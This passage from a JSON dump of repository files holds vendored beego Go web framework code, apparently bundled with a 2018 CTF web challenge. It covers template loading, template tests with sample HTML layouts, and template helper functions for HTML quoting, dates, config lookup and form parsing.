HTML2str\n\tbeegoTplFuncMap[\"str2html\"] = Str2html\n\tbeegoTplFuncMap[\"htmlquote\"] = Htmlquote\n\tbeegoTplFuncMap[\"htmlunquote\"] = Htmlunquote\n\tbeegoTplFuncMap[\"renderform\"] = RenderForm\n\tbeegoTplFuncMap[\"assets_js\"] = AssetsJs\n\tbeegoTplFuncMap[\"assets_css\"] = AssetsCSS\n\tbeegoTplFuncMap[\"config\"] = GetConfig\n\tbeegoTplFuncMap[\"map_get\"] = MapGet\n\n\t// Comparisons\n\tbeegoTplFuncMap[\"eq\"] = eq // ==\n\tbeegoTplFuncMap[\"ge\"] = ge // >=\n\tbeegoTplFuncMap[\"gt\"] = gt // >\n\tbeegoTplFuncMap[\"le\"] = le // <=\n\tbeegoTplFuncMap[\"lt\"] = lt // <\n\tbeegoTplFuncMap[\"ne\"] = ne // !=\n\n\tbeegoTplFuncMap[\"urlfor\"] = URLFor // build a URL to match a Controller and it's method\n}\n\n// AddFuncMap let user to register a func in the template.\nfunc AddFuncMap(key string, fn interface{}) error {\n\tbeegoTplFuncMap[key] = fn\n\treturn nil\n}\n\ntype templatePreProcessor func(root, path string, funcs template.FuncMap) (*template.Template, error)\n\ntype templateFile struct {\n\troot  string\n\tfiles map[string][]string\n}\n\n// visit will make the paths into two part,the first is subDir (without tf.root),the second is full path(without tf.root).\n// if tf.root=\"views\" and\n// paths is \"views/errors/404.html\",the subDir will be \"errors\",the file will be \"errors/404.html\"\n// paths is \"views/admin/errors/404.html\",the subDir will be \"admin/errors\",the file will be \"admin/errors/404.html\"\nfunc (tf *templateFile) visit(paths string, f os.FileInfo, err error) error {\n\tif f == nil {\n\t\treturn err\n\t}\n\tif f.IsDir() || (f.Mode()&os.ModeSymlink) > 0 {\n\t\treturn nil\n\t}\n\tif !HasTemplateExt(paths) {\n\t\treturn nil\n\t}\n\n\treplace := strings.NewReplacer(\"\\\\\", \"/\")\n\tfile := strings.TrimLeft(replace.Replace(paths[len(tf.root):]), \"/\")\n\tsubDir := filepath.Dir(file)\n\n\ttf.files[subDir] = append(tf.files[subDir], file)\n\treturn nil\n}\n\n// HasTemplateExt return this path contains supported template extension of beego or not.\nfunc HasTemplateExt(paths string) bool {\n\tfor _, v := range beeTemplateExt {\n\t\tif strings.HasSuffix(paths, \".\"+v) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// AddTemplateExt add new extension for template.\nfunc AddTemplateExt(ext string) {\n\tfor _, v := range beeTemplateExt {\n\t\tif v == ext {\n\t\t\treturn\n\t\t}\n\t}\n\tbeeTemplateExt = append(beeTemplateExt, ext)\n}\n\n// AddViewPath adds a new path to the supported view paths.\n//Can later be used by setting a controller ViewPath to this folder\n//will panic if called after beego.Run()\nfunc AddViewPath(viewPath string) error {\n\tif beeViewPathTemplateLocked {\n\t\tif _, exist := beeViewPathTemplates[viewPath]; exist {\n\t\t\treturn nil //Ignore if viewpath already exists\n\t\t}\n\t\tpanic(\"Can not add new view paths after beego.Run()\")\n\t}\n\tbeeViewPathTemplates[viewPath] = make(map[string]*template.Template)\n\treturn BuildTemplate(viewPath)\n}\n\nfunc lockViewPaths() {\n\tbeeViewPathTemplateLocked = true\n}\n\n// BuildTemplate will build all template files in a directory.\n// it makes beego can render any template file in view directory.\nfunc BuildTemplate(dir string, files ...string) error {\n\tif _, err := os.Stat(dir); err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\treturn nil\n\t\t}\n\t\treturn errors.New(\"dir open err\")\n\t}\n\tbeeTemplates, ok := beeViewPathTemplates[dir]\n\tif !ok {\n\t\tpanic(\"Unknown view path: \" + dir)\n\t}\n\tself := &templateFile{\n\t\troot:  dir,\n\t\tfiles: make(map[string][]string),\n\t}\n\terr := filepath.Walk(dir, func(path string, f os.FileInfo, err error) error {\n\t\treturn self.visit(path, f, err)\n\t})\n\tif err != nil {\n\t\tfmt.Printf(\"filepath.Walk() returned %v\\n\", err)\n\t\treturn err\n\t}\n\tbuildAllFiles := len(files) == 0\n\tfor _, v := range self.files {\n\t\tfor _, file := range v {\n\t\t\tif buildAllFiles || utils.InSlice(file, files) {\n\t\t\t\ttemplatesLock.Lock()\n\t\t\t\text := filepath.Ext(file)\n\t\t\t\tvar t *template.Template\n\t\t\t\tif len(ext) == 0 {\n\t\t\t\t\tt, err = getTemplate(self.root, file, v...)\n\t\t\t\t} else if fn, ok := beeTemplateEngines[ext[1:]]; ok {\n\t\t\t\t\tt, err = fn(self.root, file, beegoTplFuncMap)\n\t\t\t\t} else {\n\t\t\t\t\tt, err = getTemplate(self.root, file, v...)\n\t\t\t\t}\n\t\t\t\tif err != nil {\n\t\t\t\t\tlogs.Error(\"parse template err:\", file, err)\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tbeeTemplates[file] = t\n\t\t\t\ttemplatesLock.Unlock()\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc getTplDeep(root, file, parent string, t *template.Template) (*template.Template, [][]string, error) {\n\tvar fileAbsPath string\n\tvar rParent string\n\tif filepath.HasPrefix(file, \"../\") {\n\t\trParent = filepath.Join(filepath.Dir(parent), file)\n\t\tfileAbsPath = filepath.Join(root, filepath.Dir(parent), file)\n\t} else {\n\t\trParent = file\n\t\tfileAbsPath = filepath.Join(root, file)\n\t}\n\tif e := utils.FileExists(fileAbsPath); !e {\n\t\tpanic(\"can't find template file:\" + file)\n\t}\n\tdata, err := ioutil.ReadFile(fileAbsPath)\n\tif err != nil {\n\t\treturn nil, [][]string{}, err\n\t}\n\tt, err = t.New(file).Parse(string(data))\n\tif err != nil {\n\t\treturn nil, [][]string{}, err\n\t}\n\treg := regexp.MustCompile(BConfig.WebConfig.TemplateLeft + \"[ ]*template[ ]+\\\"([^\\\"]+)\\\"\")\n\tallSub := reg.FindAllStringSubmatch(string(data), -1)\n\tfor _, m := range allSub {\n\t\tif len(m) == 2 {\n\t\t\ttl := t.Lookup(m[1])\n\t\t\tif tl != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif !HasTemplateExt(m[1]) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t_, _, err = getTplDeep(root, m[1], rParent, t)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, [][]string{}, err\n\t\t\t}\n\t\t}\n\t}\n\treturn t, allSub, nil\n}\n\nfunc getTemplate(root, file string, others ...string) (t *template.Template, err error) {\n\tt = template.New(file).Delims(BConfig.WebConfig.TemplateLeft, BConfig.WebConfig.TemplateRight).Funcs(beegoTplFuncMap)\n\tvar subMods [][]string\n\tt, subMods, err = getTplDeep(root, file, \"\", t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tt, err = _getTemplate(t, root, subMods, others...)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn\n}\n\nfunc _getTemplate(t0 *template.Template, root string, subMods [][]string, others ...string) (t *template.Template, err error) {\n\tt = t0\n\tfor _, m := range subMods {\n\t\tif len(m) == 2 {\n\t\t\ttpl := t.Lookup(m[1])\n\t\t\tif tpl != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t//first check filename\n\t\t\tfor _, otherFile := range others {\n\t\t\t\tif otherFile == m[1] {\n\t\t\t\t\tvar subMods1 [][]string\n\t\t\t\t\tt, subMods1, err = getTplDeep(root, otherFile, \"\", t)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlogs.Trace(\"template parse file err:\", err)\n\t\t\t\t\t} else if len(subMods1) > 0 {\n\t\t\t\t\t\tt, err = _getTemplate(t, root, subMods1, others...)\n\t\t\t\t\t}\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\t//second check define\n\t\t\tfor _, otherFile := range others {\n\t\t\t\tvar data []byte\n\t\t\t\tfileAbsPath := filepath.Join(root, otherFile)\n\t\t\t\tdata, err = ioutil.ReadFile(fileAbsPath)\n\t\t\t\tif err != nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\treg := regexp.MustCompile(BConfig.WebConfig.TemplateLeft + \"[ ]*define[ ]+\\\"([^\\\"]+)\\\"\")\n\t\t\t\tallSub := reg.FindAllStringSubmatch(string(data), -1)\n\t\t\t\tfor _, sub := range allSub {\n\t\t\t\t\tif len(sub) == 2 && sub[1] == m[1] {\n\t\t\t\t\t\tvar subMods1 [][]string\n\t\t\t\t\t\tt, subMods1, err = getTplDeep(root, otherFile, \"\", t)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tlogs.Trace(\"template parse file err:\", err)\n\t\t\t\t\t\t} else if len(subMods1) > 0 {\n\t\t\t\t\t\t\tt, err = _getTemplate(t, root, subMods1, others...)\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t}\n\treturn\n}\n\n// SetViewsPath sets view directory path in beego application.\nfunc SetViewsPath(path string) *App {\n\tBConfig.WebConfig.ViewsPath = path\n\treturn BeeApp\n}\n\n// SetStaticPath sets static directory path and proper url pattern in beego application.\n// if beego.SetStaticPath(\"static\",\"public\"), visit /static/* to load static file in folder \"public\".\nfunc SetStaticPath(url string, path string) *App {\n\tif !strings.HasPrefix(url, \"/\") {\n\t\turl = \"/\" + url\n\t}\n\tif url != \"/\" {\n\t\turl = strings.TrimRight(url, \"/\")\n\t}\n\tBConfig.WebConfig.StaticDir[url] = path\n\treturn BeeApp\n}\n\n// DelStaticPath removes the static folder setting in this url pattern in beego application.\nfunc DelStaticPath(url string) *App {\n\tif !strings.HasPrefix(url, \"/\") {\n\t\turl = \"/\" + url\n\t}\n\tif url != \"/\" {\n\t\turl = strings.TrimRight(url, \"/\")\n\t}\n\tdelete(BConfig.WebConfig.StaticDir, url)\n\treturn BeeApp\n}\n\n// AddTemplateEngine add a new templatePreProcessor which support extension\nfunc AddTemplateEngine(extension string, fn templatePreProcessor) *App {\n\tAddTemplateExt(extension)\n\tbeeTemplateEngines[extension] = fn\n\treturn BeeApp\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/template_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"bytes\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n)\n\nvar header = `{{define \"header\"}}\n<h1>Hello, astaxie!</h1>\n{{end}}`\n\nvar index = `<!DOCTYPE html>\n<html>\n  <head>\n    <title>beego welcome template</title>\n  </head>\n  <body>\n{{template \"block\"}}\n{{template \"header\"}}\n{{template \"blocks/block.tpl\"}}\n  </body>\n</html>\n`\n\nvar block = `{{define \"block\"}}\n<h1>Hello, blocks!</h1>\n{{end}}`\n\nfunc TestTemplate(t *testing.T) {\n\tdir := \"_beeTmp\"\n\tfiles := []string{\n\t\t\"header.tpl\",\n\t\t\"index.tpl\",\n\t\t\"blocks/block.tpl\",\n\t}\n\tif err := os.MkdirAll(dir, 0777); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tfor k, name := range files {\n\t\tos.MkdirAll(filepath.Dir(filepath.Join(dir, name)), 0777)\n\t\tif f, err := os.Create(filepath.Join(dir, name)); err != nil {\n\t\t\tt.Fatal(err)\n\t\t} else {\n\t\t\tif k == 0 {\n\t\t\t\tf.WriteString(header)\n\t\t\t} else if k == 1 {\n\t\t\t\tf.WriteString(index)\n\t\t\t} else if k == 2 {\n\t\t\t\tf.WriteString(block)\n\t\t\t}\n\n\t\t\tf.Close()\n\t\t}\n\t}\n\tif err := AddViewPath(dir); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tbeeTemplates := beeViewPathTemplates[dir]\n\tif len(beeTemplates) != 3 {\n\t\tt.Fatalf(\"should be 3 but got %v\", len(beeTemplates))\n\t}\n\tif err := beeTemplates[\"index.tpl\"].ExecuteTemplate(os.Stdout, \"index.tpl\", nil); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tfor _, name := range files {\n\t\tos.RemoveAll(filepath.Join(dir, name))\n\t}\n\tos.RemoveAll(dir)\n}\n\nvar menu = `<div class=\"menu\">\n<ul>\n<li>menu1</li>\n<li>menu2</li>\n<li>menu3</li>\n</ul>\n</div>\n`\nvar user = `<!DOCTYPE html>\n<html>\n  <head>\n    <title>beego welcome template</title>\n  </head>\n  <body>\n{{template \"../public/menu.tpl\"}}\n  </body>\n</html>\n`\n\nfunc TestRelativeTemplate(t *testing.T) {\n\tdir := \"_beeTmp\"\n\n\t//Just add dir to known viewPaths\n\tif err := AddViewPath(dir); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfiles := []string{\n\t\t\"easyui/public/menu.tpl\",\n\t\t\"easyui/rbac/user.tpl\",\n\t}\n\tif err := os.MkdirAll(dir, 0777); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tfor k, name := range files {\n\t\tos.MkdirAll(filepath.Dir(filepath.Join(dir, name)), 0777)\n\t\tif f, err := os.Create(filepath.Join(dir, name)); err != nil {\n\t\t\tt.Fatal(err)\n\t\t} else {\n\t\t\tif k == 0 {\n\t\t\t\tf.WriteString(menu)\n\t\t\t} else if k == 1 {\n\t\t\t\tf.WriteString(user)\n\t\t\t}\n\t\t\tf.Close()\n\t\t}\n\t}\n\tif err := BuildTemplate(dir, files[1]); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tbeeTemplates := beeViewPathTemplates[dir]\n\tif err := beeTemplates[\"easyui/rbac/user.tpl\"].ExecuteTemplate(os.Stdout, \"easyui/rbac/user.tpl\", nil); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tfor _, name := range files {\n\t\tos.RemoveAll(filepath.Join(dir, name))\n\t}\n\tos.RemoveAll(dir)\n}\n\nvar add = `{{ template \"layout_blog.tpl\" . }}\n{{ define \"css\" }}\n        <link rel=\"stylesheet\" href=\"/static/css/current.css\">\n{{ end}}\n\n\n{{ define \"content\" }}\n        <h2>{{ .Title }}</h2>\n        <p> This is SomeVar: {{ .SomeVar }}</p>\n{{ end }}\n\n{{ define \"js\" }}\n    <script src=\"/static/js/current.js\"></script>\n{{ end}}`\n\nvar layoutBlog = `<!DOCTYPE html>\n<html>\n<head>\n    <title>Lin Li</title>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n    <link rel=\"stylesheet\" href=\"http://netdna.bootstrapcdn.com/bootstrap/3.0.3/css/bootstrap.min.css\">\n    <link rel=\"stylesheet\" href=\"http://netdna.bootstrapcdn.com/bootstrap/3.0.3/css/bootstrap-theme.min.css\">\n     {{ block \"css\" . }}{{ end }}\n</head>\n<body>\n\n    <div class=\"container\">\n        {{ block \"content\" . }}{{ end }}\n    </div>\n    <script type=\"text/javascript\" src=\"http://code.jquery.com/jquery-2.0.3.min.js\"></script>\n    <script src=\"http://netdna.bootstrapcdn.com/bootstrap/3.0.3/js/bootstrap.min.js\"></script>\n     {{ block \"js\" . }}{{ end }}\n</body>\n</html>`\n\nvar output = `<!DOCTYPE html>\n<html>\n<head>\n    <title>Lin Li</title>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n    <link rel=\"stylesheet\" href=\"http://netdna.bootstrapcdn.com/bootstrap/3.0.3/css/bootstrap.min.css\">\n    <link rel=\"stylesheet\" href=\"http://netdna.bootstrapcdn.com/bootstrap/3.0.3/css/bootstrap-theme.min.css\">\n     \n        <link rel=\"stylesheet\" href=\"/static/css/current.css\">\n\n</head>\n<body>\n\n    <div class=\"container\">\n        \n        <h2>Hello</h2>\n        <p> This is SomeVar: val</p>\n\n    </div>\n    <script type=\"text/javascript\" src=\"http://code.jquery.com/jquery-2.0.3.min.js\"></script>\n    <script src=\"http://netdna.bootstrapcdn.com/bootstrap/3.0.3/js/bootstrap.min.js\"></script>\n     \n    <script src=\"/static/js/current.js\"></script>\n\n</body>\n</html>\n\n\n\n\n\n`\n\nfunc TestTemplateLayout(t *testing.T) {\n\tdir := \"_beeTmp\"\n\tfiles := []string{\n\t\t\"add.tpl\",\n\t\t\"layout_blog.tpl\",\n\t}\n\tif err := os.MkdirAll(dir, 0777); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tfor k, name := range files {\n\t\tos.MkdirAll(filepath.Dir(filepath.Join(dir, name)), 0777)\n\t\tif f, err := os.Create(filepath.Join(dir, name)); err != nil {\n\t\t\tt.Fatal(err)\n\t\t} else {\n\t\t\tif k == 0 {\n\t\t\t\tf.WriteString(add)\n\t\t\t} else if k == 1 {\n\t\t\t\tf.WriteString(layoutBlog)\n\t\t\t}\n\t\t\tf.Close()\n\t\t}\n\t}\n\tif err := AddViewPath(dir); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tbeeTemplates := beeViewPathTemplates[dir]\n\tif len(beeTemplates) != 2 {\n\t\tt.Fatalf(\"should be 2 but got %v\", len(beeTemplates))\n\t}\n\tout := bytes.NewBufferString(\"\")\n\tif err := beeTemplates[\"add.tpl\"].ExecuteTemplate(out, \"add.tpl\", map[string]string{\"Title\": \"Hello\", \"SomeVar\": \"val\"}); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif out.String() != output {\n\t\tt.Log(out.String())\n\t\tt.Fatal(\"Compare failed\")\n\t}\n\tfor _, name := range files {\n\t\tos.RemoveAll(filepath.Join(dir, name))\n\t}\n\tos.RemoveAll(dir)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/templatefunc.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"html/template\"\n\t\"net/url\"\n\t\"reflect\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n)\n\nconst (\n\tformatTime      = \"15:04:05\"\n\tformatDate      = \"2006-01-02\"\n\tformatDateTime  = \"2006-01-02 15:04:05\"\n\tformatDateTimeT = \"2006-01-02T15:04:05\"\n)\n\n// Substr returns the substr from start to length.\nfunc Substr(s string, start, length int) string {\n\tbt := []rune(s)\n\tif start < 0 {\n\t\tstart = 0\n\t}\n\tif start > len(bt) {\n\t\tstart = start % len(bt)\n\t}\n\tvar end int\n\tif (start + length) > (len(bt) - 1) {\n\t\tend = len(bt)\n\t} else {\n\t\tend = start + length\n\t}\n\treturn string(bt[start:end])\n}\n\n// HTML2str returns escaping text convert from html.\nfunc HTML2str(html string) string {\n\n\tre, _ := regexp.Compile(`\\<[\\S\\s]+?\\>`)\n\thtml = re.ReplaceAllStringFunc(html, strings.ToLower)\n\n\t//remove STYLE\n\tre, _ = regexp.Compile(`\\<style[\\S\\s]+?\\</style\\>`)\n\thtml = re.ReplaceAllString(html, \"\")\n\n\t//remove SCRIPT\n\tre, _ = regexp.Compile(`\\<script[\\S\\s]+?\\</script\\>`)\n\thtml = re.ReplaceAllString(html, \"\")\n\n\tre, _ = regexp.Compile(`\\<[\\S\\s]+?\\>`)\n\thtml = re.ReplaceAllString(html, \"\\n\")\n\n\tre, _ = regexp.Compile(`\\s{2,}`)\n\thtml = re.ReplaceAllString(html, \"\\n\")\n\n\treturn strings.TrimSpace(html)\n}\n\n// DateFormat takes a time and a layout string and returns a string with the formatted date. Used by the template parser as \"dateformat\"\nfunc DateFormat(t time.Time, layout string) (datestring string) {\n\tdatestring = t.Format(layout)\n\treturn\n}\n\n// DateFormat pattern rules.\nvar datePatterns = []string{\n\t// year\n\t\"Y\", \"2006\", // A full numeric representation of a year, 4 digits   Examples: 1999 or 2003\n\t\"y\", \"06\", //A two digit representation of a year   Examples: 99 or 03\n\n\t// month\n\t\"m\", \"01\", // Numeric representation of a month, with leading zeros 01 through 12\n\t\"n\", \"1\", // Numeric representation of a month, without leading zeros   1 through 12\n\t\"M\", \"Jan\", // A short textual representation of a month, three letters Jan through Dec\n\t\"F\", \"January\", // A full textual representation of a month, such as January or March   January through December\n\n\t// day\n\t\"d\", \"02\", // Day of the month, 2 digits with leading zeros 01 to 31\n\t\"j\", \"2\", // Day of the month without leading zeros 1 to 31\n\n\t// week\n\t\"D\", \"Mon\", // A textual representation of a day, three letters Mon through Sun\n\t\"l\", \"Monday\", // A full textual representation of the day of the week  Sunday through Saturday\n\n\t// time\n\t\"g\", \"3\", // 12-hour format of an hour without leading zeros    1 through 12\n\t\"G\", \"15\", // 24-hour format of an hour without leading zeros   0 through 23\n\t\"h\", \"03\", // 12-hour format of an hour with leading zeros  01 through 12\n\t\"H\", \"15\", // 24-hour format of an hour with leading zeros  00 through 23\n\n\t\"a\", \"pm\", // Lowercase Ante meridiem and Post meridiem am or pm\n\t\"A\", \"PM\", // Uppercase Ante meridiem and Post meridiem AM or PM\n\n\t\"i\", \"04\", // Minutes with leading zeros    00 to 59\n\t\"s\", \"05\", // Seconds, with leading zeros   00 through 59\n\n\t// time zone\n\t\"T\", \"MST\",\n\t\"P\", \"-07:00\",\n\t\"O\", \"-0700\",\n\n\t// RFC 2822\n\t\"r\", time.RFC1123Z,\n}\n\n// DateParse Parse Date use PHP time format.\nfunc DateParse(dateString, format string) (time.Time, error) {\n\treplacer := strings.NewReplacer(datePatterns...)\n\tformat = replacer.Replace(format)\n\treturn time.ParseInLocation(format, dateString, time.Local)\n}\n\n// Date takes a PHP like date func to Go's time format.\nfunc Date(t time.Time, format string) string {\n\treplacer := strings.NewReplacer(datePatterns...)\n\tformat = replacer.Replace(format)\n\treturn t.Format(format)\n}\n\n// Compare is a quick and dirty comparison function. It will convert whatever you give it to strings and see if the two values are equal.\n// Whitespace is trimmed. Used by the template parser as \"eq\".\nfunc Compare(a, b interface{}) (equal bool) {\n\tequal = false\n\tif strings.TrimSpace(fmt.Sprintf(\"%v\", a)) == strings.TrimSpace(fmt.Sprintf(\"%v\", b)) {\n\t\tequal = true\n\t}\n\treturn\n}\n\n// CompareNot !Compare\nfunc CompareNot(a, b interface{}) (equal bool) {\n\treturn !Compare(a, b)\n}\n\n// NotNil the same as CompareNot\nfunc NotNil(a interface{}) (isNil bool) {\n\treturn CompareNot(a, nil)\n}\n\n// GetConfig get the Appconfig\nfunc GetConfig(returnType, key string, defaultVal interface{}) (value interface{}, err error) {\n\tswitch returnType {\n\tcase \"String\":\n\t\tvalue = AppConfig.String(key)\n\tcase \"Bool\":\n\t\tvalue, err = AppConfig.Bool(key)\n\tcase \"Int\":\n\t\tvalue, err = AppConfig.Int(key)\n\tcase \"Int64\":\n\t\tvalue, err = AppConfig.Int64(key)\n\tcase \"Float\":\n\t\tvalue, err = AppConfig.Float(key)\n\tcase \"DIY\":\n\t\tvalue, err = AppConfig.DIY(key)\n\tdefault:\n\t\terr = errors.New(\"Config keys must be of type String, Bool, Int, Int64, Float, or DIY\")\n\t}\n\n\tif err != nil {\n\t\tif reflect.TypeOf(returnType) != reflect.TypeOf(defaultVal) {\n\t\t\terr = errors.New(\"defaultVal type does not match returnType\")\n\t\t} else {\n\t\t\tvalue, err = defaultVal, nil\n\t\t}\n\t} else if reflect.TypeOf(value).Kind() == reflect.String {\n\t\tif value == \"\" {\n\t\t\tif reflect.TypeOf(defaultVal).Kind() != reflect.String {\n\t\t\t\terr = errors.New(\"defaultVal type must be a String if the returnType is a String\")\n\t\t\t} else {\n\t\t\t\tvalue = defaultVal.(string)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn\n}\n\n// Str2html Convert string to template.HTML type.\nfunc Str2html(raw string) template.HTML {\n\treturn template.HTML(raw)\n}\n\n// Htmlquote returns quoted html string.\nfunc Htmlquote(text string) string {\n\t//HTML编码为实体符号\n\t/*\n\t   Encodes `text` for raw use in HTML.\n\t       >>> htmlquote(\"<'&\\\\\">\")\n\t       '&lt;&#39;&amp;&quot;&gt;'\n\t*/\n\n\ttext = strings.Replace(text, \"&\", \"&amp;\", -1) // Must be done first!\n\ttext = strings.Replace(text, \"<\", \"&lt;\", -1)\n\ttext = strings.Replace(text, \">\", \"&gt;\", -1)\n\ttext = strings.Replace(text, \"'\", \"&#39;\", -1)\n\ttext = strings.Replace(text, \"\\\"\", \"&quot;\", -1)\n\ttext = strings.Replace(text, \"“\", \"&ldquo;\", -1)\n\ttext = strings.Replace(text, \"”\", \"&rdquo;\", -1)\n\ttext = strings.Replace(text, \" \", \"&nbsp;\", -1)\n\n\treturn strings.TrimSpace(text)\n}\n\n// Htmlunquote returns unquoted html string.\nfunc Htmlunquote(text string) string {\n\t//实体符号解释为HTML\n\t/*\n\t   Decodes `text` that's HTML quoted.\n\t       >>> htmlunquote('&lt;&#39;&amp;&quot;&gt;')\n\t       '<\\\\'&\">'\n\t*/\n\n\t// strings.Replace(s, old, new, n)\n\t// 在s字符串中，把old字符串替换为new字符串，n表示替换的次数，小于0表示全部替换\n\n\ttext = strings.Replace(text, \"&nbsp;\", \" \", -1)\n\ttext = strings.Replace(text, \"&rdquo;\", \"”\", -1)\n\ttext = strings.Replace(text, \"&ldquo;\", \"“\", -1)\n\ttext = strings.Replace(text, \"&quot;\", \"\\\"\", -1)\n\ttext = strings.Replace(text, \"&#39;\", \"'\", -1)\n\ttext = strings.Replace(text, \"&gt;\", \">\", -1)\n\ttext = strings.Replace(text, \"&lt;\", \"<\", -1)\n\ttext = strings.Replace(text, \"&amp;\", \"&\", -1) // Must be done last!\n\n\treturn strings.TrimSpace(text)\n}\n\n// URLFor returns url string with another registered controller handler with params.\n//\tusage:\n//\n//\tURLFor(\".index\")\n//\tprint URLFor(\"index\")\n//  router /login\n//\tprint URLFor(\"login\")\n//\tprint URLFor(\"login\", \"next\",\"/\"\")\n//  router /profile/:username\n//\tprint UrlFor(\"profile\", \":username\",\"John Doe\")\n//\tresult:\n//\t/\n//\t/login\n//\t/login?next=/\n//\t/user/John%20Doe\n//\n//  more detail http://beego.me/docs/mvc/controller/urlbuilding.md\nfunc URLFor(endpoint string, values ...interface{}) string {\n\treturn BeeApp.Handlers.URLFor(endpoint, values...)\n}\n\n// AssetsJs returns script tag with src string.\nfunc AssetsJs(text string) template.HTML {\n\n\ttext = \"<script src=\\\"\" + text + \"\\\"></script>\"\n\n\treturn template.HTML(text)\n}\n\n// AssetsCSS returns stylesheet link tag with src string.\nfunc AssetsCSS(text string) template.HTML {\n\n\ttext = \"<link href=\\\"\" + text + \"\\\" rel=\\\"stylesheet\\\" />\"\n\n\treturn template.HTML(text)\n}\n\n// ParseForm will parse form values to struct via tag.\n// Support for anonymous struct.\nfunc parseFormToStruct(form url.Values, objT reflect.Type, objV reflect.Value) error {\n\tfor i := 0; i < objT.NumField(); i++ {\n\t\tfieldV := objV.Field(i)\n\t\tif !fieldV.CanSet() {\n\t\t\tcontinue\n\t\t}\n\n\t\tfieldT := objT.Field(i)\n\t\tif fieldT.Anonymous && fieldT.Type.Kind() == reflect.Struct {\n\t\t\terr := parseFormToStruct(form, fieldT.Type, fieldV)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\ttags := strings.Split(fieldT.Tag.Get(\"form\"), \",\")\n\t\tvar tag string\n\t\tif len(tags) == 0 || len(tags[0]) == 0 {\n\t\t\ttag = fieldT.Name\n\t\t} else if tags[0] == \"-\" {\n\t\t\tcontinue\n\t\t} else {\n\t\t\ttag = tags[0]\n\t\t}\n\n\t\tvalue := form.Get(tag)\n\t\tif len(value) == 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\tswitch fieldT.Type.Kind() {\n\t\tcase reflect.Bool:\n\t\t\tif strings.ToLower(value) == \"on\" || strings.ToLower(value) == \"1\" || strings.ToLower(value) == \"yes\" {\n\t\t\t\tfieldV.SetBool(true)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif strings.ToLower(value) == \"off\" || strings.ToLower(value) == \"0\" || strings.ToLower(value) == \"no\" {\n\t\t\t\tfieldV.SetBool(false)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tb, err := strconv.ParseBool(value)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tfieldV.SetBool(b)\n\t\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\t\tx, err := strconv.ParseInt(value, 10, 64)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tfieldV.SetInt(x)\n\t\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:\n\t\t\tx, err := strconv.ParseUint(value, 10, 64)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tfieldV.SetUint(x)\n\t\tcase reflect.Float32, reflect.Float64:\n\t\t\tx, err := strconv.ParseFloat(value, 64)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tfieldV.SetFloat(x)\n\t\tcase 